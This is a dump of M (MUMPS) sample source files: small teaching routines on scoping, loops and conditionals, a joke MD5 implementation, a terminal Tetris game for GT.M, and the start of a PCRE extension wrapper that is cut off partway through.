  {
    "path": "samples/M/dynamicscoping.m",
    "content": ";------------------------------------\n; These first two routines illustrate\n; the dynamic scope of variables in M\n;------------------------------------\ntriangle1(x) ;;\n set sum=0\n for  do  quit:x'>1\n . set sum=sum+x\n . set x=x-1\n quit sum\n\nmain1() ;;\n set sum=1500\n set x=6\n write \"sum before=\",sum,!\n set y=$$triangle1(x)\n write \"sum after=\",sum,!\n write \"triangle of \",x,\" is \",y,!\n quit\n\n\n;------------------------------------\n; These next two routines illustrate\n; the use of the NEW command to make\n; variables limited to the local scope\n;------------------------------------\ntriangle2(x) ;;\n new sum ; <-- HERE !!\n set sum=0\n for  do  quit:x'>1\n . set sum=sum+x\n . set x=x-1\n quit sum\n\nmain2() ;;\n set sum=1500\n set x=6\n write \"sum before=\",sum,!\n set y=$$triangle2(x)\n write \"sum after=\",sum,!\n write \"triangle of \",x,\" is \",y,!\n quit\n"
  },
  {
    "path": "samples/M/fibonacci.m",
    "content": "start ; compute the Fibonacci series\n set (a,b)=1\n for i=1:1 do  quit:term>100\n . set term=a+b\n . write !,term\n . set a=b\n . set b=term\n write !,\"Result= \",term,!\n quit\n"
  },
  {
    "path": "samples/M/forloop.m",
    "content": "start1 ; entry label\n set a=1\n set b=20\n set c=2\n set sum=0\n for i=a:c do  quit:'(i<b)\n . set sum=sum+i\n . write i,\" : \",sum,!\n quit\n\nstart2 ; entry label\n set a=1\n set b=20\n set c=2\n set sum=0\n for i=a:c:b do\n . set sum=sum+i\n . write i,\" : \",sum,!\n quit\n"
  },
  {
    "path": "samples/M/functions.m",
    "content": "; This function computes a factorial\n\n\nfactorial(n) ;;\n new f\n set f=n\n for  do  quit:n'>1\n . set n=n-1\n . set f=f*n\n . write n,\" : \",f,!\n quit f\n\n\n\nmain() ;;\n set x=5\n set y=$$factorial(x)\n write \"Factorial of \",x,\" = \",y,!\n quit\n"
  },
  {
    "path": "samples/M/helloworld.m",
    "content": "label1 ; This is a label\n    write \"Hello World !\",!\n    quit\n"
  },
  {
    "path": "samples/M/ifelse.m",
    "content": "if1 ; simple if statement\n set a=5\n set b=10\n set c=25\n if (a<b) set c=b\n write c,!\n quit\n\nif2 ; if statements contrasted\n set a=5\n set b=10\n if (a<b) write \"variable a=\",a,\" is smaller than b=\",b,!\n if (a>b) write \"variable a=\",a,\" is larger  than b=\",b,!\n quit\n\nif3 ; if statement with else clause\n set a=5\n set b=10\n if (a<b) write \"variable a=\",a,\" is smaller than b=\",b,!\n else  write \"variable a=\",a,\" is larger  than b=\",b,!\n quit\n\nif4 ; if statement with else clause and bodies\n set a=5\n set b=10\n set c=10\n if (a<b) do\n . write \"variable a=\",a,\" is smaller than b=\",b,!\n . set c=c+a\n else  do\n . write \"variable a=\",a,\" is larger  than b=\",b,!\n . set c=c+b\n write \"c=\",c,!\n quit\n\n"
  },
  {
    "path": "samples/M/indirectfunctions.m",
    "content": "start ; exercise\n set ^car(\"make\")=\"toyota\"\n set ^car(\"model\")=\"corolla\"\n set ^car(\"mileage\")=\"$$compute^mileage\"\n\n write !,\"Regular computation\",!\n write \"make = \",^car(\"make\"),!\n write \"model = \",^car(\"model\"),!\n write \"mileage = \",@^car(\"mileage\")@(150,4),!\n\n write !,\"Pesimist computation\",!\n set ^car(\"mileage\")=\"$$computepesimist^mileage\"\n write \"make = \",^car(\"make\"),!\n write \"model = \",^car(\"model\"),!\n write \"mileage = \",@^car(\"mileage\")@(150,4),!\n\n write !,\"Optimist computation\",!\n set ^car(\"mileage\")=\"$$computeoptimist^mileage\"\n write \"make = \",^car(\"make\"),!\n write \"model = \",^car(\"model\"),!\n write \"mileage = \",@^car(\"mileage\")@(150,4),!\n\n"
  },
  {
    "path": "samples/M/md5.m",
    "content": ";\n;  MD5 Implementation in M\n;  Copyright (C) 2012 Piotr Koper <piotr.koper@gmail.com>\n;\n;  This program is free software: you can redistribute it and/or modify\n;  it under the terms of the GNU Affero General Public License as\n;  published by the Free Software Foundation, either version 3 of the\n;  License, or (at your option) any later version.\n;\n;  This program is distributed in the hope that it will be useful,\n;  but WITHOUT ANY WARRANTY; without even the implied warranty of\n;  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n;  GNU Affero General Public License for more details.\n;\n;  You should have received a copy of the GNU Affero General Public License\n;  along with this program.  If not, see <http://www.gnu.org/licenses/>.\n;\n\n; It works in GT.M with ZCHSET=M, but please, don't use it. It's only a joke.\n; Serves well as a reverse engineering example on obtaining boolean functions\n; from integer addition, modulo and division.\n\n\nmd5(msg)\n\t; http://en.wikipedia.org/wiki/MD5\n\tn m,r,k,h,i,j,a,b,c,d,f,g,w,t,p,q\n\ts r(0)=7,r(1)=12,r(2)=17,r(3)=22,r(4)=7,r(5)=12,r(6)=17,r(7)=22,r(8)=7,r(9)=12,r(10)=17,r(11)=22,r(12)=7,r(13)=12,r(14)=17,r(15)=22,r(16)=5,r(17)=9,r(18)=14,r(19)=20,r(20)=5,r(21)=9,r(22)=14,r(23)=20,r(24)=5,r(25)=9,r(26)=14,r(27)=20,r(28)=5,r(29)=9,r(30)=14,r(31)=20,r(32)=4,r(33)=11,r(34)=16,r(35)=23,r(36)=4,r(37)=11,r(38)=16,r(39)=23,r(40)=4,r(41)=11,r(42)=16,r(43)=23,r(44)=4,r(45)=11,r(46)=16,r(47)=23,r(48)=6,r(49)=10,r(50)=15,r(51)=21,r(52)=6,r(53)=10,r(54)=15,r(55)=21,r(56)=6,r(57)=10,r(58)=15,r(59)=21,r(60)=6,r(61)=10,r(62)=15,r(63)=21\n\ts k(0)=3614090360,k(1)=3905402710,k(2)=606105819,k(3)=3250441966,k(4)=4118548399,k(5)=1200080426,k(6)=2821735955,k(7)=4249261313,k(8)=1770035416,k(9)=2336552879,k(10)=4294925233,k(11)=2304563134,k(12)=1804603682,k(13)=4254626195,k(14)=2792965006,k(15)=1236535329,k(16)=4129170786,k(17)=3225465664,k(18)=643717713,k(19)=3921069994,k(20)=3593408605,k(21)=38016083,k(22)=3634488961,k(23)=3889429448,k(24)=568446438,k(25)=3275163606,k(26)=4107603335,k(27)=1163531501,k(28)=2850285829,k(29)=4243563512,k(30)=1735328473,k(31)=2368359562,k(32)=4294588738,k(33)=2272392833,k(34)=1839030562,k(35)=4259657740,k(36)=2763975236,k(37)=1272893353,k(38)=4139469664,k(39)=3200236656,k(40)=681279174,k(41)=3936430074,k(42)=3572445317,k(43)=76029189,k(44)=3654602809,k(45)=3873151461,k(46)=530742520,k(47)=3299628645,k(48)=4096336452,k(49)=1126891415,k(50)=2878612391,k(51)=4237533241,k(52)=1700485571,k(53)=2399980690,k(54)=4293915773,k(55)=2240044497,k(56)=1873313359,k(57)=4264355552,k(58)=2734768916,k(59)=1309151649,k(60)=4149444226,k(61)=3174756917,k(62)=718787259,k(63)=3951481745\n\ts h(0)=1732584193,h(1)=4023233417,h(2)=2562383102,h(3)=271733878\n\ts $p(m,$c(0),(55-$l(msg))#64+1)=\"\",m=msg_$c(128)_m_$$n64($l(msg)*8),p=1,q=0\n\tf  q:q  d\n\t. f j=0:1:15 s w(j)=$$read(.m,.p)\n\t. i w(0)<0 s q=1 q\n\t. s a=h(0),b=h(1),c=h(2),d=h(3)\n\t. f i=0:1:63 d\n\t.. i i<16 d\n\t... s f=$$or($$and(b,c),$$and($$not(b),d)),g=i\n\t.. e  i i<32 d\n\t... s f=$$or($$and(d,b),$$and($$not(d),c)),g=(5*i+1)#16\n\t.. e  i i<48 d\n\t... s f=$$xor($$xor(b,c),d),g=(3*i+5)#16\n\t.. e  s f=$$xor(c,$$or(b,$$not(d))),g=(7*i)#16\n\t.. s t=d,d=c,c=b,b=(b+$$rotate((a+f+k(i)+w(g))#4294967296,r(i)))#4294967296,a=t\n\t. s h(0)=(h(0)+a)#4294967296,h(1)=(h(1)+b)#4294967296,h(2)=(h(2)+c)#4294967296,h(3)=(h(3)+d)#4294967296\n\tq $$n32h(h(0))_$$n32h(h(1))_$$n32h(h(2))_$$n32h(h(3))\n\nnot(a) ; 32bit\n\tq 4294967295-a\n\nxor(a,b) ; 32bit\n\tn x,i s x=0 f i=1:1:32 s x=(x\\2)+(((a+b)#2)*2147483648),a=a\\2,b=b\\2\n\tq x\n\nand(a,b) ; 32bit\n\tn x,i s x=0 f i=1:1:32 s x=(x\\2)+((((a#2)+(b#2))\\2)*2147483648),a=a\\2,b=b\\2\n\tq x\n\nor(a,b) ; 32bit\n\tq $$not($$and($$not(.a),$$not(.b)))\n\nrotate(a,n) ; 32bit, rol\n\tn c s c=a*(2**n)\n\tq c#4294967296+(c\\4294967296)\n\nread(b,i)\n\tn n,j s n=0 f j=3:-1:0 s n=256*n+$a($e(b,i+j))\n\ts i=i+4\n\tq n\n\nn64(n)\n\tn s,i f i=1:1:8 s $e(s,i)=$c(n#256),n=n\\256\n\tq s\n\nn32h(n)\n\tn h,s,i s h=\"0123456789abcdef\" f i=1:2:8 s $e(s,i+1)=$e(h,n#16+1),n=n\\16,$e(s,i)=$e(h,n#16+1),n=n\\16\n\tq s\n"
  },
  {
    "path": "samples/M/mileage.m",
    "content": "compute(miles,gallons)\n quit miles/gallons\n\ncomputepesimist(miles,gallons)\n quit miles/(gallons+1)\n\ncomputeoptimist(miles,gallons)\n quit (miles+1)/gallons\n\n"
  },
  {
    "path": "samples/M/mumtris.m",
    "content": ";\n;  Mumtris\n;  Copyright (C) 2012 Piotr Koper <piotr.koper@gmail.com>\n;\n;  This program is free software: you can redistribute it and/or modify\n;  it under the terms of the GNU Affero General Public License as\n;  published by the Free Software Foundation, either version 3 of the\n;  License, or (at your option) any later version.\n;\n;  This program is distributed in the hope that it will be useful,\n;  but WITHOUT ANY WARRANTY; without even the implied warranty of\n;  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n;  GNU Affero General Public License for more details.\n;\n;  You should have received a copy of the GNU Affero General Public License\n;  along with this program.  If not, see <http://www.gnu.org/licenses/>.\n;\n\n; Mumtris\n; This is a tetris game in MUMPS, for GT.M, have fun.\n;\n; Resize your terminal (e.g. maximize your PuTTY window), restart GT.M so that\n; it can report true size of your terminal, and d ^mumtris.\n;\n; Try setting ansi=0 for GT.M compatible cursor positioning.\n;\n; NOTICE: Mumtris uses \"active waiting\" for making delays lower that 1s.\n;         That means that one of your CPU will be used at 99%. It's not a bug,\n;         the Mumtris and GT.M will be fully responsive. Take care when\n;         running on production system ;-)\n;\n\nmumtris\n\tn ansi,e,n,w,h,gr,fl,hl,sc,lv,lc,sb,st,ml,dh,dw,mx,my,mt,r,y,x,t10m,c,ne,i,q\n\n\ts ansi=1\t; use (faster) ANSI CSI instead of USE $P:X=x positioning\n\ts w=10\t\t; matrix width\n\ts h=22\t\t; matrix height (see below)\n\ts gr=1\t\t; grid\n\ts fl=1\t\t; fill\n\ts hl=1\t\t; help\n\ts sc=0\t\t; score\n\ts lv=1\t\t; level\n\ts lc=0\t\t; lines cleared at current level\n\ts sb=70\t\t; step base\n\ts st=$$step\t; current step\n\ts ml=3\t\t; move/rotate hold limit (without fall)\n\n\td dev\t\t; defines dw, dh (device width, device height)\n\ts h=dh-2\t; comment out to disable auto height\n\ts mx=dw/2-(3*w/2)\t; matrix left coordinate\n\ts my=dh/2-(h/2)-1\t; matrix top coordinate\n\ts mt=\"3 5_9 8 2_9 .2_02 /5 \\2 2_ 2_2 6_/2 |8_|2_| 6_0 /2 \\ /2 \\|2 |2 \\/5 \\3 2_\\_2 2_ \\2 |/2 3_/0/4 Y4 \\2 |2 /2 Y Y2 \\2 |2 |2 | \\/2 |\\3_ \\0\\4_|2_2 /4_/|2_|_|2 /2_|2 |2_|2 |2_/4_2 >08 \\/9 3 \\/9 9 2 \\/0\" ; Mumtris\n\n\tu $p:noecho\n\tu $p:escape\n\td cls\n\n\td intro\n\n\td elements\n\ts ne=$r(e)+1\t; new element\n\td change,new(),preview\n\td score(),help,redraw\n\n\ts (i,q)=0\n\tf  q:q  d\n\t. d pos(0,0)\n\t. s c=$$key\n\t. i c=1 d exit s q=1 q\n\t. s i=$s('c:0,1:i+1)\n\t. s:i'<ml (i,c)=0\n\t. i c'=3,$$fall d lock,clear,change,preview i $$new d over,exit s q=1 q\t; short-circuit and in first if\n\t. d redraw\n\tq\n\nkey() ; 0 - timeout, 1 - exit, 2 - harddrop, 3 - other char\n\tn q,c,d,ex,hd\n\ts (q,d,ex,hd)=0\n\tn i\n\tn l s l=1\n\tf  q:q  d\n\t. r *c:0\n\t. i c<0&'d d\n\t.. f i=1:1:st*t10m r *c:0 q:c>-1  i $h\n\t. i c<0 s q=1 q\n\t. s d=2\n\t. i c=27 d  q:q\n\t.. i $l($zb)=1 s (q,ex)=1 q\n\t.. s c=$a($e($zb,3))\n\t.. d:c=65 rotate\n\t.. d:c=66 fall(1)\n\t.. d:c=67 right\n\t.. d:c=68 left\n\t. i c=70!(c=102) s fl=fl+1#3 d preview\n\t. s:c=71!(c=103) gr='gr\n\t. i c=72!(c=104) s hl='hl d help\n\t. d:c=73!(c=105) rotate\n\t. d:c=74!(c=106) left\n\t. d:c=75!(c=107) fall(1)\n\t. d:c=76!(c=108) right\n\t. s:c=81!(c=113) (q,ex)=1\n\t. i c=32 d drop s hd=1\n\tq $s(ex:1,hd:2,d:3,1:0)\n\nredraw\n\td matrix\n\td stack\n\td draw(n,r,y,x)\n\tq\n\nticks\n\tn x,h,b,e,q\n\ts h=$h,(b,e,q)=0 f i=1:1:1000000000 r *x:0 i h'=$h s h=$h d  q:q\n\t. i 'b s b=i\n\t. e  s e=i,q=1\n\ts t10m=(e-b)\\100\n\tq\n\nchange\n\ts n=ne\n\ts ne=$r(e)+1\n\ts x=0,y=0,r=1\n\tq\n\nnew()\n\ts r=1,x=w/2-2,y=1-e(n,r)\n\tq:$q $$collision(r,y,x) q\n\ndrop\n\tn i\n\ts i=0 f  q:$$fall  s i=i+2\n\td score(i)\n\tq\n\nrotate\n\tn k\n\ts k=r#e(n)+1\n\tq:$$collision(k,y,x)\n\ts r=k\n\tq\n\nfall(k)\n\tn c\n\ti $$collision(r,y+1,x) q:$q 1 q\n\ts y=y+1\n\td:$g(k) score(1)\n\tq:$q 0 q\n\nright\tq:$$collision(r,y,x+1)  s x=x+1 q\nleft\tq:$$collision(r,y,x-1)  s x=x-1 q\n\ncollision(r,y,x)\n\tn i,j,q\n\ts q=0\n\tf i=1:1:4 q:q  f j=1:1:4 q:q  s:$g(e(n,r,j,i))&($g(n(y+j,x+i))!(y+j>h!(x+i>w!(x+i<1)))) q=1\n\tq q\n\nlock\n\tn i,j\n\tf i=1:1:4 q:q  f j=1:1:4 q:q  s:$g(e(n,r,j,i)) n(y+j,x+i)=1\n\tq\n\nclear\n\tn c,i,j,q\n\ts c=0\n\tf j=h:-1:1 d\n\t. s q=0\n\t. f i=1:1:w i '$g(n(j,i)) s q=1 q\n\t. q:q\n\t. f i=j:-1:1 k n(i) m n(i)=n(i-1)\n\t. s j=j+1,c=c+1\n\t. d redraw\n\ti c d\n\t. d score($s(c=4:800,1:i*200-100*lv))\n\t. s lc=lc+c\n\t. i lv*10'>lc d score(,1) s lc=0\n\tq\n\nexit\n\tn s\n\ts s=mt_\"09  Piotr Koper <piotr.koper@gmail.com>09 8 h2tps:2/github.com/pkoper\"\n\td cls d write(.s,dh/2-3,dw/2-24) h 1 r *s:0 r *s:4\n\td cls u $p:echo\n\tq\n\nintro\n\tn s\n\ts s=mt_\"9 9 8 Mumtris for GT.M0\"\n\td cls h 1 d write(.s,dh/2-3,dw/2-24) h 1\n\td ticks\n\td cls\n\tr s:0\n\tq\n\ncls\n\td pos(0,0,1)\n\tq\n\npos(y,x,c)\n\ti ansi d\n\t. ; workaround for ANSI driver: NL in some safe place (1,1)\n\t. w $c(27)_\"[1;1f\",!,$c(27)_\"[\"_(y\\1+1)_\";\"_(x\\1+1)_\"f\"\n\t. w:$g(c) $c(27)_\"[2J\"\n\te  d\n\t. u $p:(x=x:y=y)\n\t. u:$g(c) $p:clearscreen\n\tq\n\nover\n\tn s\n\ts s=\"2 8_9 9 6 8_0 /2 5_/5_4 5_3 4_3 \\5_2 \\3_2 2_ 9_2_0/3 \\2 3_\\2_2 \\2 /5 \\_/ 2_ \\3 /3 |3 \\2 \\/ 2/ 2_ \\_2 2_ \\0\\4 \\_\\2 \\/ 2_ \\|2 Y Y2 \\2 3_/2 /4 |4 \\3 /\\2 3_/|2 | \\/0 \\6_2 (4_2 /2_|_|2 /\\3_2 > \\7_2 /\\_/2 \\3_2 >2_|08 \\/5 \\/6 \\/5 \\/9  \\/9  \\/0\"\n\td cls,write(.s,dh/2-3,dw/2-32) h 1 r *s:0 r *s:2\n\tq\n\nwrite(s,y,x)\n\tn i,j,l,c,d\n\td pos(y,x)\n\ts l=$l(s) f i=1:1:l d\n\t. s c=$e(s,i)\n\t. i c?1N d\n\t.. i 'c s y=y+1 d pos(y,x) q\n\t.. s d=$e(s,i+1) f j=1:1:c w d\n\t.. s i=i+1\n\t. e  w c\n\td pos(0,0)\n\tq\n\nhelp\n\tn i,x,l,j\n\ts i=9 f x=\"MOVE: LEFT, RIGHT\",\"TURN: UP\",\"DROP: SPACE\",\"\",\"FILL: F\",\"GRID: G\",\"HELP: H\",\"\",\"QUIT: ESC, Q\" d pos(dh/2-(h/2)+i,dw/2+(3*w/2+3)) d  s i=i+1\n\t. i hl w x\n\t. e  s l=$l(x) f j=1:1:l w \" \"\n\tq\n\nfill() q $s(fl=1:\"[#]\",fl=2:\"[+]\",1:\"[ ]\")\n\ndraw(n,r,y,x,o)\n\tn i,j\n\ts x=3*x+mx+1,y=y+my\n\tf i=1:1:4 i y+i>my f j=1:1:4 d pos(y+i-1,3*(j-1)+x) w $s($g(e(n,r,i,j)):$$fill,$g(o):\"   \",1:\"\")\n\tq\n\nstep() q 0.85**lv*sb+(0.1*lv)\n\nscore(s,l)\n\ts:$g(s) sc=sc+s\n\ti $g(l) s lv=lv+l,st=$$step\n\td pos(dh/2-(h/2)+2,dw/2+(3*w/2+3)) w \"SCORE: \",sc\n\td pos(dh/2-(h/2)+3,dw/2+(3*w/2+3)) w \"LEVEL: \",lv\n\tq\n\npreview\n\td draw(ne,1,4-e(ne,1),-5,1)\n\tq\n\nstack\n\tn i,j,x,y\n\ts x=mx+1,y=my\n\tf i=1:1:h f j=1:1:w i $g(n(i,j)) d pos(y+i-1,3*(j-1)+x) w $$fill\n\tq\n\nmatrix\n\tn i,j\n\tf i=0:1:h-1 d\n\t. d pos(my+i,mx) w \"|\" f j=1:1:w w $s(gr:\" . \",1:\"   \")\n\t. w \"|\"\n\td pos(my+h,mx) w \"|\" f j=1:1:w*3 w \"~\"\n\tw \"|\",!\n\tq\n\ndev\n\tn x,i\n\tzsh \"d\":x\n\ts i=\"\" f  s i=$o(x(\"D\",i)) q:i=\"\"  d:(x(\"D\",i)[$p)\n\t. s dw=$p($p(x(\"D\",i),\"WIDTH=\",2),\" \",1),dh=$p($p(x(\"D\",i),\"LENG=\",2),\" \",1)\n\tq\n\nelements\n\t; e - elements\n\t; e(elemId) - rotateVersions\n\t; e(elemId,rotateVersion) - bottom coordinate\n\t; e(elemId,rotateVersion,y,x) - point\n\t;\n\ts e=7\n\t; ____\n\ts e(1)=2,e(1,1)=2\n\ts (e(1,1,2,1),e(1,1,2,2),e(1,1,2,3),e(1,1,2,4))=1\n\ts (e(1,2,1,2),e(1,2,2,2),e(1,2,3,2),e(1,2,4,2))=1\n\t; |__\n\ts e(2)=4,e(2,1)=2\n\ts (e(2,1,1,1),e(2,1,2,1),e(2,1,2,2),e(2,1,2,3))=1\n\ts (e(2,2,1,2),e(2,2,1,3),e(2,2,2,2),e(2,2,3,2))=1\n\ts (e(2,3,2,1),e(2,3,2,2),e(2,3,2,3),e(2,3,3,3))=1\n\ts (e(2,4,1,2),e(2,4,2,2),e(2,4,3,1),e(2,4,3,2))=1\n\t; __|\n\ts e(3)=4,e(3,1)=2\n\ts (e(3,1,1,3),e(3,1,2,1),e(3,1,2,2),e(3,1,2,3))=1\n\ts (e(3,2,1,2),e(3,2,2,2),e(3,2,3,2),e(3,2,3,3))=1\n\ts (e(3,3,2,1),e(3,3,2,2),e(3,3,2,3),e(3,3,3,1))=1\n\ts (e(3,4,1,1),e(3,4,1,2),e(3,4,2,2),e(3,4,3,2))=1\n\t; ||\n\ts e(4)=1,e(4,1)=2\n\ts (e(4,1,1,1),e(4,1,1,2),e(4,1,2,1),e(4,1,2,2))=1\n\t; _-\n\ts e(5)=2,e(5,1)=3\n\ts (e(5,1,2,2),e(5,1,2,3),e(5,1,3,1),e(5,1,3,2))=1\n\ts (e(5,2,1,2),e(5,2,2,2),e(5,2,2,3),e(5,2,3,3))=1\n\t; _|_\n\ts e(6)=4,e(6,1)=2\n\ts (e(6,1,1,2),e(6,1,2,1),e(6,1,2,2),e(6,1,2,3))=1\n\ts (e(6,2,1,2),e(6,2,2,2),e(6,2,2,3),e(6,2,3,2))=1\n\ts (e(6,3,2,1),e(6,3,2,2),e(6,3,2,3),e(6,3,3,2))=1\n\ts (e(6,4,1,2),e(6,4,2,1),e(6,4,2,2),e(6,4,3,2))=1\n\t; -_\n\ts e(7)=2,e(7,1)=3\n\ts (e(7,1,2,1),e(7,1,2,2),e(7,1,3,2),e(7,1,3,3))=1\n\ts (e(7,2,1,2),e(7,2,2,1),e(7,2,2,2),e(7,2,3,1))=1\n\tq\n"
  },
  {
    "path": "samples/M/nesting.m",
    "content": "start1 ; entry label\n set ax=1\n set bx=20\n set cx=2\n set ay=1\n set by=20\n set cy=2\n set sumx=0\n set sqrx=0\n set sumxy=0\n for x=ax:cx:bx do\n . set sumx=sumx+x\n . set sqrx=sqrx+(x*x)\n . for y=ay:cy:by do\n .. set sumxy=sumxy+(x*y)\n .. if (sumxy<100) do\n ... write sumxy,!\n"
  },
  {
    "path": "samples/M/pcre.m",
    "content": ";\n;  GT.M PCRE Extension\n;  Copyright (C) 2012 Piotr Koper <piotr.koper@gmail.com>\n;\n;  This program is free software: you can redistribute it and/or modify\n;  it under the terms of the GNU Affero General Public License as\n;  published by the Free Software Foundation, either version 3 of the\n;  License, or (at your option) any later version.\n;\n;  This program is distributed in the hope that it will be useful,\n;  but WITHOUT ANY WARRANTY; without even the implied warranty of\n;  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n;  GNU Affero General Public License for more details.\n;\n;  You should have received a copy of the GNU Affero General Public License\n;  along with this program.  If not, see <http://www.gnu.org/licenses/>.\n;\n\n;  GT.M™ is a trademark of Fidelity Information Services, Inc.\n\n; \"GT.M™ is a vetted industrial strength, transaction processing application\n;  platform consisting of a key-value database engine optimized for extreme\n;  transaction processing throughput & business continuity.\"\n;                                -- http://sourceforge.net/projects/fis-gtm/\n\n\n\n; GT.M PCRE Extension\n;\n; This extension tries to deliver the best possible PCRE interface for the\n; M world by providing a support for PCRE with M arrays, stringified parameter\n; names, simplified API, locales, exceptions and Perl5 Global Match.\n;\n; See pcreexamples.m for comprehensive examples on ^pcre routines usage and\n; beginner level tips on match limits, exception handling and UTF-8 in GT.M.\n;\n; Try out the best known book on regular expressions: http://regex.info/\n; For more information on PCRE see: http://pcre.org/\n;\n; Please feel free to contact me if you have any questions or comments,\n; Piotr Koper <piotr.koper@gmail.com>\n;\n\n\npcre\t;GT.M PCRE Extension\n\t;1.0;Initial release;pkoper\n\tq\n\n\nversion()\n\tq $&pcre.version()\n\nconfig(name)\n\t; name is one of: (case insensitive)\n\t;\t\"UTF8\", \"NEWLINE\", \"LINK_SIZE\", \"POSIX_MALLOC_THRESHOLD\",\n\t;\t\"MATCH_LIMIT\", \"MATCH_LIMIT_RECURSION\", \"STACKRECURSE\",\n\t;\t\"BSR\", \"UNICODE_PROPERTIES\", \"JIT\", \"JITTARGET\"\n\t;\n\td protect\n\t;\n\tn erropt,isstring,s,n,code\n\ts code=$&pcre.config(.name,.erropt,.isstring,.s,.n)\n\ts:code $ec=\",U\"_(-code)_\",\"\n\tq $s(isstring:s,1:n)\n\ncompile(pattern,options,locale,mlimit,reclimit)\n\t; options is case insensitive and optional string with \"|\" joined:\n\t;\t\"ANCHORED\", \"CASELESS\", \"DOLLAR_ENDONLY\", \"DOTALL\", \"EXTENDED\",\n\t;\t\"FIRSTLINE\", \"MULTILINE\", \"NO_AUTO_CAPTURE\", \"DUPNAMES\",\n\t;\t\"UNGREEDY\", \"BSR_ANYCRLF\", \"BSR_UNICODE\", \"JAVASCRIPT_COMPAT\",\n\t;\t\"NL_ANY\", \"NL_ANYCRLF\", \"NL_CR\", \"NL_CRLF\",\"NL_LF\",\n\t;\t\"UTF8\", \"UCP\", \"NO_UTF8_CHECK\"\n\t;\n\t; locale is an optional Unix locale name used for pcre_maketables(),\n\t; cases:\n\t;\tundefined or \"\":\n\t;\t\tpcre_maketables() will not be called\n\t;\t\"ENV\" (case insensitive):\n\t;\t\tuse locale in program environment defined by the\n\t;\t\tenvironment variables LANG or LC_*\n\t;\tspecified:\n\t;\t\t\"pl_PL.iso88592\", \"pl_PL.utf8\", \"C\", ...\n\t;\t\tsee locale(1), locale(2) and the output of command:\n\t;\t\t\t$ locale -a\n\t;\t\tDebian tip: use\n\t;\t\t\t$ dpkg-reconfigure locales\n\t;\t\tto enable or set system-wide locale\n\t;\n\t; mlimit (optional) limits the number of internal matching function\n\t;\tcalls in pcre_exec() execution, see PCRE manual for details\n\t;\n\t; reclimit (optional) limit for the depth of recursion when calling\n\t;\tthe internal matching function in a pcre_exec() execution,\n\t;\tsee PCRE manual for details\n\t;\n\td protect\n\t;\n\tn erropt,ref,err,erroffset,code\n\ts code=$&pcre.compile(.pattern,$g(options),.erropt,.ref,.err,.erroffset,$g(locale),$g(mlimit,0),$g(reclimit,0))\n\ts:code $ec=\",U\"_(-code)_\",\"\n\tq ref\n\nexec(ref,subject,options,startoffset,length)\n\t; options is case insensitive and optional string with \"|\" joined:\n\t;\t\"ANCHORED\", \"BSR_ANYCRLF\", \"BSR_UNICODE\",\n\t;\t\"NL_ANY\", \"NL_ANYCRLF\", \"NL_CR\", \"NL_CRLF\", \"NL_LF\",\n\t;\t\"NOTBOL\", \"NOTEOL\", \"NOTEMPTY\", \"NOTEMPTY_ATSTART\",\n\t;\t\"NO_START_OPTIMIZE\", \"NO_UTF8_CHECK\",\n\t;\t\"PARTIAL_SOFT\", \"PARTIAL_HARD\"\n\t;\n\t; startoffset is in octets, starts with 1 (like in M) (optional)\n\t;\n\t; length is subject length in octets, not chars (optional)\n\t;\n\td protect\n\t;\n\tn erropt,code,start\n\ts start=$g(startoffset,1)-1\n\ts code=$&pcre.exec(.ref,.subject,$g(length,$zl(subject)),start,$g(options),.erropt)\n\ts:code<0 $ec=\",U\"_(-code)_\",\"\n\tq code\n\novector(ref,i) ; return i-element from ovector\n\td protect\n\t;\n\tn n,code\n\ts code=$&pcre.ovector(.ref,.i,.n)\n\ts:code $ec=\",U\"_(-code)_\",\"\n\t;s $ec=\",U123,\"\n\tq n\n\novecsize(ref) ; return ovecsize\n\td protect\n\t;\n\tn n,code\n\ts code=$&pcre.ovecsize(.ref,.n)\n\ts:code $ec=\",U\"_(-code)_\",\"\n\tq n\n\nfullinfo(ref,name)\n\t; name is one of: (case insensitive)\n\t;\t\"OPTIONS\", \"SIZE\", \"CAPTURECOUNT\", \"BACKREFMAX\", \"FIRSTBYTE\",\n\t;\t\"FIRSTTABLE\", \"LASTLITERAL\", \"NAMEENTRYSIZE\", \"NAMECOUNT\",\n\t; \t\"STUDYSIZE\", \"OKPARTIAL\", \"JCHANGED\", \"HASCRORLF\", \"MINLENGTH\",\n\t;\t\"JIT\", \"JITSIZE\"\n\t; for NAME* options see also $$nametable^pcre()\n\t;\n\td protect\n\t;\n\tn erropt,isstring,s,n,code\n\ts code=$&pcre.fullinfo(.ref,.name,.erropt,.isstring,.s,.n)\n\ts:code $ec=\",U\"_(-code)_\",\"\n\tq $s(isstring:s,1:n)\n\nnametable(ref,i,n) ; returns index (n) and name, or { 0, \"\" } for invalid i\n\t; i is indexed from 1\n\t;\n\td protect\n\t;\n\tn s,code\n\ts code=$&pcre.nametable(.ref,.i,.n,.s)\n\ts:code $ec=\",U\"_(-code)_\",\"\n\tq s\n\nsubstring(ref,i,begin,end)\n\ts begin=$$ovector(.ref,i*2)+1,end=$$ovector(.ref,i*2+1)\n\t; ovector contains octet indexed data not UNICODE chars, so $ze is used\n\tq:'begin \"\"\n\tq $s($g(o,0):begin_\",\"_end,1:$ze(subject,begin,end))\n\nstore(ref,i,n,o,key) ; same as above but stores captured data in n array\n\tn begin,end\n\ts begin=$$ovector(.ref,i*2)+1,end=$$ovector(.ref,i*2+1)\n\tq:'begin\n\ts key=$g(key,i)\n\ts:o n(key,0)=begin,n(key,1)=end\n\ts n(key)=$ze(subject,begin,end)\n\tq\n\ngstore(ref,i,n,round,byref,o,key) ; store for global match\n\tn begin,end\n\ts begin=$$ovector(.ref,i*2)+1,end=$$ovector(.ref,i*2+1)\n\tq:'begin\n\ts key=$g(key,i)\n\ti byref d\n\t. s:o n(key,round,0)=begin,n(key,round,1)=end\n\t. s n(key,round)=$ze(subject,begin,end)\n\te  d\n\t. s:o n(round,key,0)=begin,n(round,key,1)=end\n\t. s n(round,key)=$ze(subject,begin,end)\n\tq\n\ntest(subject,pattern,options,locale,mlimit,reclimit)\n\t; see $$compile^pcre for options, locale, mlimit and reclimit\n\t;\n\td protect\n\tn ref,l\n\ts ref=$$compile(.pattern,$g(options),$g(locale),$g(mlimit,0),$g(reclimit,0))\n\ts l=$$exec(.ref,.subject)\n\td free(.ref)\n\tq l\n\nmatch(subject,pattern,match,capture,options,locale,mlimit,reclimit)\n\t; see $$compile^pcre for options, locale, mlimit and 